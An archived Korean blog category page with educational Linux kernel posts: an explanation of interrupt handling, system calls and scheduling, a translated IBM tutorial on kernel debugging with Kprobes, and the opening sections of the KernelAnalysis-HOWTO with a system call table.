이 부분은 hardware interrupt를 처리하는 부분으로써 신속하게 device로부터 data를 읽어냄으로써 빠른 시간 내에 device가 외부로부터 다시 data를 받을 수 있게 한다. 일반적으로 이 부분에서는 또 다른 device로부터 오는 hardware interrupt를 허용하지 않음으로써 신속하게 device로부터 data를 읽어낸다. 리눅스 커널에서는 이 부분을 top half라고 하기도 하고 interrupt handler라고도 한다.

다음으로 두 번째 부분은 다음과 같다.

2. data를 사용할 process에 맞게 적절하게 형태를 바꾼다.
3. data를 기다리는 process에게 전달하고 process scheduling 요청

이 부분은 기본적으로 hardware interrupt를 허용함으로써 응답성을 좋게 한다. 이 과정은 device에서 읽어온 data를 적당하게 처리해 그 data를 기다리는 process에게 전달하고 필요시 process scheduling을 요청한다. 리눅스 커널에서는 이 부분을 bottom half라고도 하고, deferred work라고도 하고, softirq라고도 한다. 덧붙이자면 3번 동작을 리눅스 커널에서는 wake_up이라고 한다.

마지막으로 세 번째 부분은 다음과 같다.

4. process scheduling을 수행

이 부분은 두 번째 부분에서 process scheduling을 요청할 경우 수행한다. 리눅스 커널에서는 이 부분을 schedule이라고 한다.

이상에서 hardware interrupt에 의한 커널의 동작은 [그림 2]와 같다.

사용자 삽입 이미지

[그림 2] hardware interrupt에 의한 커널의 일반적인 동작



[그림 1]에서 한 가지 주의할 점은 process Pn의 사용자 영역을 수행하는 중에 들어온 hardware interrupt에 의해 시작한 커널의 동작은 process Pn과 논리적으로 관련이 없다. 따라서 앞에서 설명한 처음 동작과 두 번째 동작을(top half와 bottom half를) 수행하는 중에 현재 process Pn은 논리적으로 멈출 일이 없으며, 따라서 wait queue에 들어갈 일은 없다.

top_half, bottom_half와 system call function간의 통신
마지막으로 한 가지만 더 짚고 넘어가면, [그림 1]에서 process P1의 system call에 의해 시작한 커널과 process Pn의 사용자 영역 수행 중에 발생한 hardware interrupt에 의해 시작한 커널은 각각 논리적으로 독립된 흐름을 가지며 B 부분과 H 부분에서 통신을 한다. 즉, H 부분에서 data를 공급하며, B 부분에서 data를 소비한다. [그림 3]은 [그림 1]의 system call에 의한 커널과 hardware interrupt에 의한 커널간에 data를 주고 받는 상황을 논리적으로 표현한 것이다.

사용자 삽입 이미지

[그림 3] top_half, bottom_half와 system call function간의 통신


system call에 의한 커널의 구체적인 동작 2
[그림 4]를 보면서 다음의 내용을 이해해 보자.
P1, Pn이라 하는 두 process가 있다고 가정하자. process P1는 system call([그림 4]의 A 부분)을 통해 커널에게 process Pn으로부터 data를 받기를 요청할 수 있다. 그러면 커널은 Pn으로부터 P1에게 도착한 data가 있는지 검사한다([그림 4]의 B 부분). P1에게 도착한 data가 없을 경우 커널은 현재 수행중인 process P1을 잠시 멈추기 위해 wait queue에 넣는다([그림 4]의 B 부분). 왜냐하면 process Pn으로부터 data가 도착해야 process P1을 다시 진행할 수 있기 때문이다. 그리고 새로운 process를 선택해([그림 4]의 C 부분) 수행하기 시작한다. 이 동작을 우리는 앞에서 process scheduling이라 했다. 그 이후에 몇 번의 process schduling이 더 있을 수 있다. ([그림 4]에서 process P2에서 process P3로)

사용자 삽입 이미지

[그림 4] system call에 의한 커널의 구체적인 동작


system call에 의한 커널의 구체적인 동작 3

어느 순간 process Pn은 process scheduling에 의해 다시 시작하며([그림 4]의 D 부분) 사용자 영역을 수행하다 system call을 통해([그림 4]의 E 부분) 커널에게 process P1에게 data를 보내기를 요청할 것이다. 그러면 커널은 process Pn으로부터 process P1으로 data를 전달하고([그림 4]의 F 부분), process P1을 wait queue에서 꺼내 ready queue로 넣은 후, ready queue로 새로이 들어간 process P1의 우선순위가 현재 수행 중이던 process Pn의 우선순위보다 클 경우 process scheduling을 요청한 후([그림 4]의 F 부분) process scheduling을 수행한다. process scheduling은 [그림 4]의 G 부분에서 시작해 H 부분에서 끝난다. 즉, process scheduling이 끝나면 process P1이 수행을 다시 시작한다.

system call에 의한 커널의 일반적인 동작
이제 system call에 의해 시작한 커널의 일반적인 동작을 정리해 보자. 먼저 system call은 software interrupt라고도 한다. 주의할 점은 software interrupt는 리눅스 커널내의 bottom half의 또 다른 이름인 softirq와는 관련이 없다.

[그림 1]에서 process P1을 수행하는 중에 들어온 system call에 의해 시작한 커널의 동작은 다음과 같다.

1. device로부터 data를 읽기를 요청한다.
2. 현재 수행중인 process를 wait queue에 넣는다
3. process scheduling을 수행

이 부분은 process의 요청에 의해 커널이 수행하는 영역이며, 상황에 따라 현재 process를 논리적으로 더 이상 진행시킬 수 없는 경우 현재 process를 wait queue에 넣고 process scheduling을 수행할 수 있다. 이 부분은 system call 함수의 일부분이다. 2, 3번 항목은 리눅스 커널의 sleep_on 또는 wait_event와 대응한다.

[그림 4]에서 process P1을 수행하는 중에 들어온 system call에 의해 시작한 커널의 동작은 다음과 같다.

1. process Pn으로부터 도착한 data가 있는지 검사한다.
2. 현재 수행중인 process를 wait queue에 넣는다.
3. process scheduling을 수행

이 부분도 process의 요청에 의해 커널이 수행하는 영역이며, 상황에 따라 현재 process를 논리적으로 더 이상 진행할 수 없는 경우 현재 process를 wait queue에 넣고 process scheduling을 수행한다. 이 부분도 system call 함수의 일부분이다. 여기서도 2, 3번 항목은 리눅스 커널의 sleep_on 또는 wait_event에 대응한다.

[그림 4]에서 process Pn을 수행하는 중에 들어온 system call에 의해 시작한 커널의 동작은 다음과 같다.

1. process P1에게 data를 전달하고 process scheduling 요청
2. process scheduling을 수행

여기서는 커널의 동작을 두 부분으로 나눌 수 있으며, 처음 부분은 다음과 같다.

1. process P1에게 data를 전달하고 process scheduling 요청

이 부분은 process의 요청에 의해 커널이 수행하는 영역이며, system call 함수의 일부분이다. 이 부분은 리눅스 커널의 wake_up에 대응한다.

두 번째 부분은 다음과 같다.

2. process scheduling을 수행

이 부분은 처음 부분에서 process scheduling을 요청할 경우 수행한다.

이상에서 system call에 의한 커널의 동작은 [그림 5]와 같다.

사용자 삽입 이미지

[그림 5] system call에 의한 커널의 일반적인 동작


[그림 5]에서 process scheduling(1)은, 현재 process P의 요청에 따라 커널이 process P와 관련된 작업을 수행하는 도중에 어떤 조건이 맞지 않아, 예를 들어 필요로 하는 data가 없어서, 더 이상 현재 process P의 작업을 진행할 수 없을 경우, 필요로 하는 조건이 맞을 때까지 현재 process P를 wait queue에 넣어 기다리게 하고 나서 수행하는 process scheduling이며, system call function내에서 수행을 한다. 한 가지 기억해야 할 점은 [그림 1]에서 C와 J 부분이 일반적으로 논리적으로는 연속이지만 시간상으로는 연속이 아니듯이 [그림 5]의 process scheduling(1)도 일반적으로 논리적으로는 연속이지만 시간상으로는 연속이 아니다. 후에 process P가 필요로 하는 조건이 맞으면, process P는 논리적인 흐름이 다른 커널(예를 들어, [그림 1]의 H 부분과 같은)에 의해 ready queue로 옮겨지며, 역시 논리적인 흐름이 다른 커널에서 시작한 process scheduling(예를 들어, [그림 1]의 I 부분과 같은)에 의해 [그림 5]의 process scheduling(1)로 나와 system call function의 나머지 부분을 수행한다. system call function 내에서는 이후에도 필요에 따라 process scheduling이 더 있을 수 있다. 이와는 달리 process scheduling(2)는 커널이 process P의 요청에 의해 system call function을 수행하는 도중에 wait queue에서 기다리던 임의의 process를 ready queue로 넣고, 그 ready queue에 넣은 process의 우선 순위가 현재 process P의 우선 순위보다 클 경우(예를 들어 [그림 4]의 F 부분과 같은)에 수행하는 process scheduling이다. 이 경우 현재 process P는 ready queue에 그대로 남아 있다.

system call function과 system call function간의 통신
마지막으로 한 가지만 더 짚고 넘어가면, [그림 4]에서 process P1의 system call에 의해 시작한 커널과 process Pn의 system call에 의해 시작한 커널은 각각 논리적으로 독립된 흐름을 가지며 B 부분과 F 부분에서 통신을 한다. 즉, F 부분에서 data를 공급하며, B 부분에서 data를 소비한다. [그림 6]은 [그림 4]의 system call에 의한 커널간에 data를 주고 받는 상황을 논리적으로 표현한 것이다.

사용자 삽입 이미지

[그림 6] system call function과 system call function간의 통신


process scheduling의 시작과 끝
우리는 [그림 2]와 [그림 5]에서 커널의 일반적인 동작과 process scheduling이 언제 수행되는지 보았다. 아래 [그림 7]에서 process scheduling이 시작되는 부분과 끝나는 부분이 어떻게 연결될 수 있는지 자세히 살펴 보자.
어떤 process의 a 부분에서 시작한 process scheduling은 임의의 다른 process의 b, d, f부분에서 끝날 수 있다. 또 어떤 process의 c 부분에서 시작한 process scheduling도 임의의 다른 process의 b, d, f 부분에서 끝날 수 있다. 마지막으로 어떤 process의 e 부분에서 시작한 process scheduling 역시 임의의 다른 process의 b, d, f 부분에서 끝날 수 있다.

사용자 삽입 이미지

[그림 7] process scheduling의 시작과 끝


지금까지 우리는 커널이 수행해야 할 일반적인 동작이 무엇인지 살펴 보았다. 즉, system call을 통해 시작한 커널의 동작, hardware interrupt에 의해 시작한 커널의 동작을 보았다. 이 과정에서 process와 device 사이에서 커널이 수행해야 할 역할이란 것이 우리가 모르는 그 어떤 것이 아니란 점도 느꼈을 것이다. 의외로 커널의 역할이 지극히 당연한 것들이라고 느꼈을 수도 있다. 또 hardware interrupt에 의해 시작한 커널과 system call에 의해 시작한 커널간의 통신, system call에 의해 시작한 커널과system call에 의해 시작한 커널간의 통신을 보았다. 이 과정에서 논리적으로 서로 독립적인 커널의 동작간에 통신이 어떻게 이루어지는지 구체적으로 알았을 것이다.


http://network.hanbitbook.co.kr/view.php?bi_id=1058
"Kernel" 카테고리의 다른 글
  • 리눅스 커널의 이해(3): 리눅스 디바이스 작성시... (0)2007/05/10
  • 리눅스 커널의 이해(2): 리눅스 커널의 동작 (0)2007/05/10
  • 리눅스 커널의 이해(1) : 커널의 일반적인 역할과... (0)2007/05/10
  • Kprobes를 이용한 커널 디버깅 (0)2007/05/04
  • KernelAnalysis-HOWTO (0)2007/04/30
2007/05/10 09:56 2007/05/10 09:56
Posted by webdizen
Tags hardware interrupt, process scheduling, processor, system call, 리눅스 커널
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2914

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2007/05/04 16:09

Kprobes를 이용한 커널 디버깅

printk's를 리눅스 커널에 삽입하기
Level: Intermediate


Prasanna S. Panchamukhi
Developer, Linux Technology Center, IBM India Software Labs
2004년 8월 19일

printk를 사용하여 리눅스 커널에서 디버깅 정보를 수집하는 것은 잘 알려진 방법이다. Kprobes를 사용하면 커널을 재부팅 할 필요가 없다. 2.6 커널과 결합된 Kprobes는 printk's를 동적으로 삽입할 때 경량의, 비파괴적인 강력한 메커니즘을 제공한다. 커널 스택 트레이스, 커널 데이터 구조, 레지스터 같은 디버그 정보를 기록하는 것은 결코 쉬운 것은 아니다.
Kprobes는 중단점을 실행 커널에 삽입할 수 있도록 하는 리눅스의 단순하고 간단한 메커니즘이다. Kprobes는 어떤 커널 루틴으로도 들어 갈 수 있고 인터럽트 핸들러에서 정보를 비파괴적으로 모을 수 있는 인터페이스를 제공한다. 프로세서 레지스트리와 글로벌 데이터 구조 같은 디버깅 정보는 Kprobes를 사용하여 쉽게 수집될 수 있다.

Kprobes는 실행 커널에서 주어진 주소에 중단점 명령을 동적으로 작성하여 프로브를 삽입한다. 검사된 명령을 실행하면 중단점 오류가 된다. Kprobes는 중단점 핸들러로 들어가서 디버깅 정보를 모은다.

설치
Kprobes를 설치하려면 Kprobes 홈페이지 (참고자료)에서 최신 패치를 다운로드 한다. kprobes-2.6.8-rc1.tar.gz에 tar 파일 이름이 붙여질 것이다. tar를 풀고 이를 리눅스 커널에 적용한다:

$tar -xvzf kprobes-2.6.8-rc1.tar.gz
$cd /usr/src/linux-2.6.8-rc1
$patch -p1 < ../kprobes-2.6.8-rc1-base.patch

Kprobes는 SysRq키를 사용하는데 이는 DOS 시절에 만들어진 것이다. (참고자료) Scroll Lock키의 왼쪽으로 SysRq키를 발견하게 될 것이다; 종종 Print Screen이라는 라벨이 붙기도 한다. SysRq키를 Kprobes에서 실행하려면 kprobes-2.6.8-rc1-sysrq.patch 패치를 붙인다:

$patch -p1 < ../kprobes-2.6.8-rc1-sysrq.patch

커널을 make xconfig/ make menuconfig/ make oldconfig 로 설정하고 CONFIG_KPROBES와 CONFIG_MAGIC_SYSRQ 플러그가 작동하도록 한다. 새로운 커널을 구현하여 부팅한다. 이제 printk's를 삽입하고 간단한 Kprobes 모듈을 작성하여 동적으로 디버깅 정보를 모을 준비가 된 것이다.

Kprobes 모듈 작성하기
각 프로브에 struct kprobe kp 구조를 할당해야 할 것이다. (include/linux/kprobes.h 참조)





커널 루틴의 주소 얻기
등록하는 동안 프로브를 삽입 할 커널 루틴 주소를 지정해야 한다. 다음 메소드 중 하나를 사용하여 커널 루틴 주소를 얻는다:

System.map 파일에서 직접 주소를 얻기
예를 들어, do_fork의 주소를 받으려면, 명령행에서 $grep do_fork /usr/src/linux/System.map을 실행한다.
nm 명령어 사용하기
$nm vmlinuz |grep do_fork
/proc/kallsyms 파일에서 주소 얻기
$cat /proc/kallsyms |grep do_fork
kallsyms_lookup_name() routine 사용하기
이 루틴은 kernel/kallsyms.c 파일에서 정의되고 이를 사용하려면 CONFIG_KALLSYMS 를 실행시키면서 커널을 컴파일 해야 한다. kallsyms_lookup_name() 은 커널 루틴 이름을 스트링으로 취하고 그 커널 루틴의 주소를 리턴한다. 예를 들면, kallsyms_lookup_name("do_fork")이다.
init_module에서 프로브를 등록한다:




일단 프로브가 등록되면 모든 쉘 명령어의 실행은 do_fork으로의 호출이 된다. 그리고 콘솔에 printk's가 보일 것이다. 또는 dmesg 를 실행해서도 볼 수 있다. 끝났을 때 프로브의 등록을 해지하는 것을 기억하라:

unregister_kprobe(&kp);

다음 아웃풋은 Kprobes의 주소이다. eflags의 컨텐츠는 다음을 등록한다:

$tail -5 /var/log/messages

Jun 14 18:21:18 llm05 kernel: pre_handler: p->addr=0xc01441d0, eflags=0x202
Jun 14 18:21:18 llm05 kernel: post_handler: p->addr=0xc01441d0, eflags=0x196

오프셋
루틴의 시작 또는 함수의 오프셋에 printk's를 삽입할 수 있다. (오프셋은 명령 영역에 있어야 한다.) 다음 코드 샘플은 오프셋을 계산하는 방법이다. 우선, 객체 파일에서 머신 명령을 역어셈블하고 파일로 저장한다:

$objdump -D /usr/src/linux/kernel/fork.o > fork.dis

다음과 같이 된다:




오프셋 0x22c4에 프로브를 삽입하려면 0x22c4 - 0x22b0 = 0x14 루틴의 시작부터 관련 오프셋을 가져다가 이 오프셋을 do_fork 0xc01441d0 + 0x14의 주소에 추가한다. (do_fork의 주소를 확인하려면 $cat /proc/kallsyms | grep do_fork. 을 실행한다.)

do_fork 0x22c4 - 0x22b0 = 0x14의 관련 오프셋을 kallsyms_lookup_name("do_fork")의 아웃풋에 추가할 수도 있다; 따라서: 0x14 + kallsyms_lookup_name("do_fork");

커널 데이터 구조 덤핑하기
이제 시스템상에서 실행되는 모든 작업들의 몇몇 요소들을, 데이터 구조를 덤핑하기위해 변경했던 Kprobe post_handler를 사용하여 덤핑한다.





이 모듈은 do_fork의 오프셋에 삽입되어야 한다.




SysRq 키 실행하기
SysRq 키의 지원으로 이미 컴파일 했다. 이를 실행시켜 보자:

$echo 1 > /proc/sys/kernel/sysrq

이제 Alt+SysRq+W를 사용하여 콘솔 또는 /var/log/messages 에서 모든 삽입된 커널 프로브를 볼 수 있다.




Kprobes를 이용한 더 나은 디버깅
프로브 이벤트 핸들러는 시스템 중단점 인터럽트 핸들러에 대한 확장으로서 실행되기 때문에 시스템 장치의 의존성이 거의 없거나 아예 없다. 또한 대부분의 적대적 환경-인터럽트, 태스크 타임부터 실행불가, 콘텍스트 간 변환, SMP 실행의 코드 경로 까지-에 삽입될 수 있다. 이 모두가 시스템 퍼포먼스에 나쁜 영향을 끼치지 않는다.

Kprobes를 사용할 때의 이점은 많다. printk's는 커널을 재구현 및 재부팅 하지 않고 삽입될 수 있다. 프로세서 레지스터는 기록될 될 수 있고, 심지어 디버깅을 위해 변경될 수도 있다. 물론 시스템 파괴는 전혀 없다. 이와 유사하게 리눅스 커널 데이터 구조 역시 기록될 수 있고 비파괴적으로 변경될 수 있다. Kprobes를 사용하여 SMP 시스템 상의 경쟁 조건을 디버깅할 수 있다. 이로서 재구현과 재부팅이라는 고통에서 해방되는 것이다. 커널 디버깅이 이전보다 빠르고 쉽게 될 수 있다는 것을 경험하게 될 것이다.


http://www-903.ibm.com/developerworks/k ··· bes.html
"Kernel" 카테고리의 다른 글
  • 리눅스 커널의 이해(2): 리눅스 커널의 동작 (0)2007/05/10
  • 리눅스 커널의 이해(1) : 커널의 일반적인 역할과... (0)2007/05/10
  • Kprobes를 이용한 커널 디버깅 (0)2007/05/04
  • KernelAnalysis-HOWTO (0)2007/04/30
  • Linux x86 kernel function hooking emulation (0)2006/11/24
2007/05/04 16:09 2007/05/04 16:09
Posted by webdizen
Tags Kprobes, 커널 디버깅
No Trackback No Comment

Trackback URL : http://www.webdizen.net/blog/trackback/2900

Leave your greetings.

[로그인][오픈아이디란?]

Unix & Linux/Kernel2007/04/30 01:16

KernelAnalysis-HOWTO

Roberto Arcomano berto@bertolinux.com

v0.7, March 26, 2003


This document tries to explain some things about the Linux Kernel, such as the most important components, how they work, and so on. This HOWTO should help prevent the reader from needing to browse all the kernel source files searching for the"right function," declaration, and definition, and then linking each to the other. You can find the latest version of this document at http://www.bertolinux.com If you have suggestions to help make this document better, please submit your ideas to me at the following address: berto@bertolinux.com


1. Introduction

  • 1.1 Introduction
  • 1.2 Copyright
  • 1.3 Translations
  • 1.4 Credits

2. Syntax used

  • 2.1 Function Syntax
  • 2.2 Indentation
  • 2.3 InterCallings Analysis

3. Fundamentals

  • 3.1 What is the kernel?
  • 3.2 What is the difference between User Mode and Kernel Mode?
  • 3.3 Switching from User Mode to Kernel Mode
  • 3.4 Multitasking
  • 3.5 Microkernel vs Monolithic OS
  • 3.6 Networking
  • 3.7 Virtual Memory

4. Linux Startup

5. Linux Peculiarities

  • 5.1 Overview
  • 5.2 Pagination only
  • 5.3 Softirq
  • 5.4 Kernel Threads
  • 5.5 Kernel Modules
  • 5.6 Proc directory

6. Linux Multitasking

  • 6.1 Overview
  • 6.2 Timeslice
  • 6.3 Scheduler
  • 6.4 Bottom Half, Task Queues. and Tasklets
  • 6.5 Very low level routines
  • 6.6 Task Switching
  • 6.7 Fork

7. Linux Memory Management

  • 7.1 Overview
  • 7.2 Specific i386 implementation
  • 7.3 Memory Mapping
  • 7.4 Low level memory allocation
  • 7.5 Swap

8. Linux Networking

  • 8.1 How Linux networking is managed?
  • 8.2 TCP example

9. Linux File System

10. Useful Tips

  • 10.1 Stack and Heap
  • 10.2 Application vs Process
  • 10.3 Locks
  • 10.4 Copy_on_write

11. 80386 specific details

  • 11.1 Boot procedure
  • 11.2 80386 (and more) Descriptors

12. IRQ

  • 12.1 Overview
  • 12.2 Interaction schema

13. Utility functions

  • 13.1 list_entry [include/linux/list.h]
  • 13.2 Sleep

14. Static variables

  • 14.1 Overview
  • 14.2 Main variables

15. Glossary

16. Links


1. Introduction

1.1 Introduction

This HOWTO tries to define how parts of the Linux Kernel work, what are the main functions and data structures used, and how the "wheel spins". You can find the latest version of this document at http://www.bertolinux.com If you have suggestions to help make this document better, please submit your ideas to me at the following address: berto@bertolinux.comCode used within this document refers to the Linux Kernel version 2.4.x, which is the last stable kernel version at time of writing this HOWTO.

1.2 Copyright

Copyright (C) 2000,2001,2002 Roberto Arcomano. This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You can get a copy of the GNU GPL here

1.3 Translations

If you want to translate this document you are free to do so. However, you will need to do the following:

  1. Check that another version of the document doesn't already exist at your local LDP
  2. Maintain all 'Introduction' sections (including 'Introduction', 'Copyright', 'Translations' , 'Credits').

Warning! You don't have to translate TXT or HTML file, you have to modify LYX file, so that it is possible to convert it all other formats (TXT, HTML, RIFF, etc.): to do that you can use "LyX" application you download from http://www.lyx.org.

No need to ask me to translate! You just have to let me know (if you want) about your translation.

Thank you for your translation!

1.4 Credits

Thanks to Linux Documentation Project for publishing and uploading my document quickly.

Thanks to Klaas de Waal for his suggestions.


2. Syntax used

2.1 Function Syntax

When speaking about a function, we write:

"function_name  [ file location . extension ]"

For example:

"schedule [kernel/sched.c]" 

tells us that we talk about

"schedule"

function retrievable from file

[ kernel/sched.c ]

Note: We also assume /usr/src/linux as the starting directory.

2.2 Indentation

Indentation in source code is 3 blank characters.

2.3 InterCallings Analysis

Overview

We use the"InterCallings Analysis "(ICA) to see (in an indented fashion) how kernel functions call each other.

For example, the sleep_on command is described in ICA below:

|sleep_on
|init_waitqueue_entry      --
|__add_wait_queue            |   enqueuing request  
   |list_add                 |
      |__list_add          -- 
   |schedule              ---     waiting for request to be executed
      |__remove_wait_queue --   
      |list_del              |   dequeuing request
         |__list_del       -- 
 
                          sleep_on ICA

The indented ICA is followed by functions' locations:

  • sleep_on [kernel/sched.c]
  • init_waitqueue_entry [include/linux/wait.h]
  • __add_wait_queue
  • list_add [include/linux/list.h]
  • __list_add
  • schedule [kernel/sched.c]
  • __remove_wait_queue [include/linux/wait.h]
  • list_del [include/linux/list.h]
  • __list_del

Note: We don't specify anymore file location, if specified just before.

Details

In an ICA a line like looks like the following

 function1 -> function2

means that < function1 > is a generic pointer to another function. In this case < function1 > points to < function2 >.

When we write:

  function:

it means that < function > is not a real function. It is a label (typically assembler label).

In many sections we may report a ''C'' code or a ''pseudo-code''. In real source files, you could use ''assembler'' or ''not structured'' code. This difference is for learning purposes.

PROs of using ICA

The advantages of using ICA (InterCallings Analysis) are many:

  • You get an overview of what happens when you call a kernel function
  • Function locations are indicated after the function, so ICA could also be considered as a little ''function reference''
  • InterCallings Analysis (ICA) is useful in sleep/awake mechanisms, where we can view what we do before sleeping, the proper sleeping action, and what we'll do after waking up (after schedule).

CONTROs of using ICA

  • Some of the disadvantages of using ICA are listed below:

As all theoretical models, we simplify reality avoiding many details, such as real source code and special conditions.

  • Additional diagrams should be added to better represent stack conditions, data values, and so on.

3. Fundamentals

3.1 What is the kernel?

The kernel is the "core" of any computer system: it is the "software" which allows users to share computer resources.

The kernel can be thought as the main software of the OS (Operating System), which may also include graphics management.

For example, under Linux (like other Unix-like OSs), the XWindow environment doesn't belong to the Linux Kernel, because it manages only graphical operations (it uses user mode I/O to access video card devices).

By contrast, Windows environments (Win9x, WinME, WinNT, Win2K, WinXP, and so on) are a mix between a graphical environment and kernel.

3.2 What is the difference between User Mode and Kernel Mode?

Overview

Many years ago, when computers were as big as a room, users ran their applications with much difficulty and, sometimes, their applications crashed the computer.

Operative modes

To avoid having applications that constantly crashed, newer OSs were designed with 2 different operative modes:

  1. Kernel Mode: the machine operates with critical data structure, direct hardware (IN/OUT or memory mapped), direct memory, IRQ, DMA, and so on.
  2. User Mode: users can run applications.

                      
               |          Applications           /|\
               |         ______________           |
               |         | User Mode  |           |  
               |         ______________           | 
               |               |                  |  
Implementation |        _______ _______           |   Abstraction
    Detail     |        | Kernel Mode |           |
               |        _______________           |
               |               |                  |
               |               |                  | 
               |               |                  |
              \|/          Hardware               |

Kernel Mode "prevents" User Mode applications from damaging the system or its features.

Modern microprocessors implement in hardware at least 2 different states. For example under Intel, 4 states determine the PL (Privilege Level). It is possible to use 0,1,2,3 states, with 0 used in Kernel Mode.

Unix OS requires only 2 privilege levels, and we will use such a paradigm as point of reference.

3.3 Switching from User Mode to Kernel Mode

When do we switch?

Once we understand that there are 2 different modes, we have to know when we switch from one to the other.

Typically, there are 2 points of switching:

  1. When calling a System Call: after calling a System Call, the task voluntary calls pieces of code living in Kernel Mode
  2. When an IRQ (or exception) comes: after the IRQ an IRQ handler (or exception handler) is called, then control returns back to the task that was interrupted like nothing was happened.

System Calls

System calls are like special functions that manage OS routines which live in Kernel Mode.

A system call can be called when we:

  • access an I/O device or a file (like read or write)
  • need to access privileged information (like pid, changing scheduling policy or other information)
  • need to change execution context (like forking or executing some other application)
  • need to execute a particular command (like ''chdir'', ''kill", ''brk'', or ''signal'')

                                 |                |
                         ------->| System Call i  | (Accessing Devices)
|                |       |       |  [sys_read()]  |
| ...            |       |       |                |
| system_call(i) |--------       |                |
|   [read()]     |               |                |
| ...            |               |                |
| system_call(j) |--------       |                |  
|   [get_pid()]  |       |       |                |
| ...            |       ------->| System Call j  | (Accessing kernel data structures)
|                |               |  [sys_getpid()]|
                                 |                | 
 
    USER MODE                        KERNEL MODE
 
  
                        Unix System Calls Working 

System calls are almost the only interface used by User Mode to talk with low level resources (hardware). The only exception to this statement is when a process uses ''ioperm'' system call. In this case a device can be accessed directly by User Mode process (IRQs cannot be used).

NOTE: Not every ''C'' function is a system call, only some of them.

Below is a list of System Calls under Linux Kernel 2.4.17, from [ arch/i386/kernel/entry.S ]

        .long SYMBOL_NAME(sys_ni_syscall)       /* 0  -  old "setup()" system call*/
        .long SYMBOL_NAME(sys_exit)
        .long SYMBOL_NAME(sys_fork)
        .long SYMBOL_NAME(sys_read)
        .long SYMBOL_NAME(sys_write)
        .long SYMBOL_NAME(sys_open)             /* 5 */
        .long SYMBOL_NAME(sys_close)
        .long SYMBOL_NAME(sys_waitpid)
        .long SYMBOL_NAME(sys_creat)
        .long SYMBOL_NAME(sys_link)
        .long SYMBOL_NAME(sys_unlink)           /* 10 */
        .long SYMBOL_NAME(sys_execve)
        .long SYMBOL_NAME(sys_chdir)
        .long SYMBOL_NAME(sys_time)
        .long SYMBOL_NAME(sys_mknod)
        .long SYMBOL_NAME(sys_chmod)            /* 15 */
        .long SYMBOL_NAME(sys_lchown16)
        .long SYMBOL_NAME(sys_ni_syscall)       /* old break syscall holder */
        .long SYMBOL_NAME(sys_stat)
        .long SYMBOL_NAME(sys_lseek)
        .long SYMBOL_NAME(sys_getpid)           /* 20 */
        .long SYMBOL_NAME(sys_mount)
        .long SYMBOL_NAME(sys_oldumount)
        .long SYMBOL_NAME(sys_setuid16)
        .long SYMBOL_NAME(sys_getuid16)
        .long SYMBOL_NAME(sys_stime)            /* 25 */
        .long SYMBOL_NAME(sys_ptrace)
        .long SYMBOL_NAME(sys_alarm)
        .long SYMBOL_NAME(sys_fstat)
        .long SYMBOL_NAME(sys_pause)
        .long SYMBOL_NAME(sys_utime)            /* 30 */
        .long SYMBOL_NAME(sys_ni_syscall)       /* old stty syscall holder */
        .long SYMBOL_NAME(sys_ni_syscall)       /* old gtty syscall holder */
        .long SYMBOL_NAME(sys_access)
        .long SYMBOL_NAME(sys_nice)
        .long SYMBOL_NAME(sys_ni_syscall)       /* 35 */ /* old ftime syscall holder */
        .long SYMBOL_NAME(sys_sync)
        .long SYMBOL_NAME(sys_kill)
        .long SYMBOL_NAME(sys_rename)
        .long SYMBOL_NAME(sys_mkdir)
        .long SYMBOL_NAME(sys_rmdir)            /* 40 */
        .long SYMBOL_NAME(sys_dup)
        .long SYMBOL_NAME(sys_pipe)
        .long SYMBOL_NAME(sys_times)
        .long SYMBOL_NAME(sys_ni_syscall)       /* old prof syscall holder */
        .long SYMBOL_NAME(sys_brk)              /* 45 */
        .long SYMBOL_NAME(sys_setgid16)
        .long SYMBOL_NAME(sys_getgid16)
        .long SYMBOL_NAME(sys_signal)
        .long SYMBOL_NAME(sys_geteuid16)
        .long SYMBOL_NAME(sys_getegid16)        /* 50 */
        .long SYMBOL_NAME(sys_acct)
        .long SYMBOL_NAME(sys_umount)           /* recycled never used phys() */
        .long SYMBOL_NAME(sys_ni_syscall)       /* old lock syscall holder */
        .long SYMBOL_NAME(sys_ioctl)
        .long SYMBOL_NAME(sys_fcntl)            /* 55 */
        .long SYMBOL_NAME(sys_ni_syscall)       /* old mpx syscall holder */
        .long SYMBOL_NAME(sys_setpgid)
        .long SYMBOL_NAME(sys_ni_syscall)       /* old ulimit syscall holder */
        .long SYMBOL_NAME(sys_olduname)
        .long SYMBOL_NAME(sys_umask)            /* 60 */
        .long SYMBOL_NAME(sys_chroot)
        .long SYMBOL_NAME(sys_ustat)
        .long SYMBOL_NAME(sys_dup2)
        .long SYMBOL_NAME(sys_getppid)
        .long SYMBOL_NAME(sys_getpgrp)          /* 65 */
        .long SYMBOL_NAME(sys_setsid)
        .long SYMBOL_NAME(sys_sigaction)
        .long SYMBOL_NAME(sys_sgetmask)
        .long SYMBOL_NAME(sys_ssetmask)
        .long SYMBOL_NAME(sys_setreuid16)       /* 70 */
        .long SYMBOL_NAME(sys_setregid16)
        .long SYMBOL_NAME(sys_sigsuspend)
        .long SYMBOL_NAME(sys_sigpending)
        .long SYMBOL_NAME(sys_sethostname)
        .long SYMBOL_NAME(sys_setrlimit)        /* 75 */
        .long SYMBOL_NAME(sys_old_getrlimit)
        .long SYMBOL_NAME(sys_getrusage)
        .long SYMBOL_NAME(sys_gettimeofday)
        .long SYMBOL_NAME(sys_settimeofday)
        .long SYMBOL_NAME(sys_getgroups16)      /* 80 */
        .long SYMBOL_NAME(sys_setgroups16)
        .long SYMBOL_NAME(old_select)
        .long SYMBOL_NAME(sys_symlink)
        .long SYMBOL_NAME(sys_lstat)
        .long SYMBOL_NAME(sys_readlink)         /* 85 */
        .long SYMBOL_NAME(sys_uselib)
        .long SYMBOL_NAME(sys_swapon)
        .long SYMBOL_NAME(sys_reboot)
        .long SYMBOL_NAME(old_readdir)
        .long SYMBOL_NAME(old_mmap)             /* 90 */
        .long SYMBOL_NAME(sys_munmap)
        .long SYMBOL_NAME(sys_truncate)
        .long SYMBOL_NAME(sys_ftruncate)
        .long SYMBOL_NAME(sys_fchmod)
        .long SYMBOL_NAME(sys_fchown16)         /* 95 */
        .long SYMBOL_NAME(sys_getpriority)
        .long SYMBOL_NAME(sys_setpriority)
